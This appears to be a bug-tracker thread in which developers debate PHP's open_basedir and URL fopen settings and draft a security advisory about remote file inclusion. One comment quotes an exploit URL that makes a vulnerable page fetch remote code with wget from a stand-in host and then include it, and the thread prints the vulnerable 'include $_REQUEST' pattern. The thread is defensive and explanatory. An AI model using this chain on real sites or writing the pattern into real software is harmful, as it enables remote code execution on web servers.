The default settings (not set) for open_basedir allows off site includes to be performed. Insecure pages can allow arbitrary execution of code with two queries. Setting open_basedir to '/' should restrict it to the local site, with minimal impact. Tighter restrictions are probably better.
i'd even send out a GLSA about it ...
Carpaski: please post up or email me your 'two queries' that show this problem. open_basedir has had a default of NULL since PHP4 first came out as beta. I suspect you are doing something along the lines of 'include 'http://site/file';' which would be a security fault in the author program, not PHP. Last I checked open_basedir also ONLY applied to local file access, not URL fopen wrappers.
Using include from a get/post... I do not that it's a "dev" error, but my users are doing this. $page ===> Page data to include. Dynamic pages. www.site.com/base.php?page=something.to.inc Exploit did something like this: http://www.site.com/base.php?page=http://www.somesite.com/passthrough.php&cmd=wget+-O+http://www.somesite.com/somecode http://www.site.com/base.php?page=/tmp/somecode
open_basedir doesn't work like that. This is a simple test page (test file #1): "<?php include $_REQUEST['page']; ?>" This is a simple test page (test file #2): "Test" note that test 2 does NOT contain any PHP even, only has a PHP extension. Produces this output: Warning: Unknown(): open_basedir restriction in effect. File(/home/robbat2/public_html/insecure/test1.php) is not within the allowed path(s): (/) in Unknown on line 0 Warning: Unknown(/home/robbat2/public_html/insecure/test1.php): failed to open stream: Operation not permitted in Unknown on line 0 Warning: (null)(): Failed opening '/home/robbat2/public_html/insecure/test1.php' for inclusion (include_path='.:/usr/lib/php') in Unknown on line 0 You get _identical_ (with the filename changed of course) results for test 2. From php.ini : ; open_basedir, if set, limits all file operations to the defined directory ; and below. This directive makes most sense if used in a per-directory ; or per-virtualhost web server configuration file. This directive is ; *NOT* affected by whether Safe Mode is turned On or Off. You need to set for _each_ directory you want to protect. Furthermore, it ONLY applies to local files. Here is a correct usage of open_basedir: <Directory /home/robbat2/public_html/insecure> php_admin_value open_basedir "/home/robbat2/public_html/insecure" </Directory> This limits me to local files under that directory only, and anything NOT on the filesystem. I can still do: include "http://www.site.com/evilpage.txt"; even in an open_basedir environment and the code will STILL be run. Go and shoot your users for using tainted data like that. NEVER EVER TRUST INPUT FROM AN UNKNOWN SOURCE. And more importantly, don't execute it!
SpanKY: ok, tag you are it. Send out the GLSA. There is a fix is in the tree for it, after a discussion with Carpaski. It shouldn't break anything that is actively used in the tree at the moment, but it does have the potential to break things.
Fix is in tree.
Aliz: here are details for a GLSA: PACKAGE : php, mod_php SUMMARY : arbitrary code execution vunerablity EXPLOIT : (not sure what to put here) VERSIONS AFFECTED : <mod_php-4.3.2-r2, <php-4.3.2-r1 FIXED VERSION : >=mod_php-4.3.2-r4, >=php-4.3.2-r2 CVE : N/A DESCRIPTION: Badly written web-accessible PHP applications could be exploited to run arbitary code available on some URL. This can provide the attacker with a shell as the apache user, which can be exploited further. The problem is not in PHP itself, but rather a configuration setting that can cause a big hole if one's PHP is programmed incorrectly. The simplest form of vunerable code is: <?php include $_REQUEST['somevar']; ?> If this is passed a URL, it will quite calmly take the code from that URL and run it. The fix consists of changing the URL fopen setting in the php.ini file to Off. This security hole seems to exist in many other linux distributions, but is fixed in FreeBSD since 4.7, and fixed in OpenBSD (not sure since when).
Sure, turning off url_fopen isn't a bad idea, but this is a little ridiculous. Essentially, the programmer isn't doing proper input checking. Realistically, we can't set open_basedir globally unless the package maintainers of apache and php (and all the other web servers) want to specify a file tree standard (all web sites in /home/sites, and setting open_basedir to the same or something akin.) open_basedir should be set by the admin on the machine, and programmers should know better than to not check variables coming from GET, POST, or COOKIE superglobals. Maybe just an opinion -- but if you don't think to program securely, you shouldn't rely on the system to protect you.
cluon: 1. open_basedir doesn't stop url fopens at all, so that 'fix' is worthless. Here is a case for you, I've personally seen this attack and have all it's details. You are an ISP, that gives users webspace with PHP support. One of them is learning PHP and writes some code that is vunerable to an exploit like this. Cracker attacks the machine via that hole, and executes arbitrary code (backticks in PHP). Now Cracker abuses the machine to send 20000 spams out, he doesn't even need root, just the initial user he gets access to.
aliz: are you going to do this GLSA ?
please close if fixed
no response from aliz yet.
re-assigning directly to security to hope this gets noticed soon.
Do you guys still feel a GLSA needs to be sent out on this one? What I gather from reading this bug is that if your a sloppy programmer and write not well thought out php that your code will be vuln.
The fact remains that the problem left systems vunerable. You're a security guy, you tell me if it's still worthwhile to issue the GLSA.
closing
